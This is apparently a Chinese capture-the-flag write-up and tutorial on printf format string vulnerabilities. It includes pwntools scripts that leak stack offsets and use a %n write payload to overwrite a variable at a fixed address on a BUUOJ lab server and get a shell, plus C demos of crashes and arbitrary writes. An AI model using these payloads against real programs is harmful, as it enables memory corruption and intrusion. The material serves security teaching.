在该程序中只需要判断x=4即可获得系统shell。
查看发现x的值为3,同时得到x的地址为0x804A02C
在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。
输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。
输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。
构造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
from pwn import *
p=remote("node4.buuoj.cn",27668)
adrr=p32(0x0804A02C)
PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
p.sendline(PAYLOAD)
p.interactive()
可以计算该偏移量为11。
设计payload如下:
“%4c%n”,65,0x0804A02C //打印4个字符,并将输出的字符数4根据%n格式控制字符串写入0x0804A02C,由于输入的字符串需要存入栈中如下。
故在printf函数提取参数时构造的payload如下:
%4c%13$n0x0804A02C //其中%13$n为将默认的第13个格式化字符串的内容作为格式控制字符串%n的参数。
构造payload
from pwn import *
p=remote("node4.buuoj.cn",27668)
adrr=p32(0x0804A02C)
payload=b"%4c%13$n"
p.sendline(payload+adrr)
p.interactive()
flag{0b8c0e45-ff89-49f3-b6b5-d3edb10d8ec5}
格式化字符串是一种很常见的漏洞,其产生根源是printf函数设计的缺陷,即printf()函数并不能确定数据参数arg1,arg2…究竟在什么地方结束,也就是说,它不知道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数format后面地址的内容。
格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。
printf("格式化字符串1,格式化字符串2",参数1,参数2...)
%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数
%<正整数n>c 打印宽度为n的字符串(打印长度为n)
利用格式化字符串与参数的数量不匹配时编译依旧能够通过,并且当满足格式化字符串的格式要求时按格式化字符串定义对栈上空间内容的控制以至于控制内存空间,从而控制程序。
特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。
32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
例:
printf("%1234c%hhn",65,0x41414141);
因为1234=0x4D2,所以会往地址0x41414141处写入0x4D2(1字节)
内存结构
Win32系统中,进程使用的内存按功能可以分4个区域。
当程序存在格式化字符串漏洞时,通过大量的%s可引起程序崩溃,造成拒绝服务的结果。
Printf()函数的格式化用法如下:
printf("格式化字符串1,格式化字符串2",参数1,参数2...)
其中部分输出控制符如下:
%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数
%<正整数n>c 打印宽度为n的字符串(打印长度为n)
在函数中当格式化字符串个数与参数个数不相等时,超出的部分将会按照输出控制的控制字符串的含义执行数据,其中是将栈顶当做第一个超出的输出控制符对应的参数,依次从栈顶向栈低对应超出的参数。
#include "stdafx.h"
int main(int argc, char* argv[])
{
int a=1;
int b=2;
printf("%s%s");
return 0;
}
#include "stdafx.h"
int main(int argc, char* argv[])
{
int a=1;
int b=2;
printf("%s%s%s%s");
return 0;
}
#include "stdafx.h"
int main(int argc, char* argv[])
{
int a=0x0012ff74; //该值为字符串变量x在栈上的地址
int b=2;
char x='h';
printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%s");
return 0;
}
Eg:
#include "stdafx.h"
int main(int argc, char* argv[])
{
int a=1;
int b=2;
printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p",a,b);
return 0;
}
#include "stdafx.h"
int main(int argc, char* argv[])
{
int a=0x0012ff74;
int b=2;
char x='h';
printf("%10c%n",x,0x0012ff70);
return 0;
}
看雪ID:404test
https://bbs.pediy.com/user-home-967279.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!